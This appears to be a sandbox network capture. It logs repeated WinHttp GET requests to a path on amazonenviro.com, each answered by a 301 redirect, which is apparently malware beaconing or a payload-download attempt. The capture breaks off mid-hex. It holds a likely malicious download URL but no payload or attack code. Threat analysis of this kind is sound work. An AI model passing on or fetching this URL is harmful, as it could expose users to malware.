Jan 14, 2025 08:24:59.019017935 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:59.329560995 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:59 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:00.949740887 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:01.260628939 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:01 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:02.953073978 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:03.281265974 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:03 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:04.962333918 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:05.274292946 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:05 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:06.911449909 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:07.222122908 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:07 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:08.835870981 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:09.146507978 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:08 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:10.752278090 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:11.062268019 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:10 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:12.729248047 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:13.039334059 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:12 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:14.698240042 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:15.008749008 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:14 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:16.684869051 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:16.995081902 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:16 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:18.587634087 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:18.898366928 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:18 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:20.549110889 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:20.859464884 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:20 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:22.496917009 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:22.807887077 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:22 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:24.433629036 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:24.744117022 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:24 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:26.360616922 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:26.671545982 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:26 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 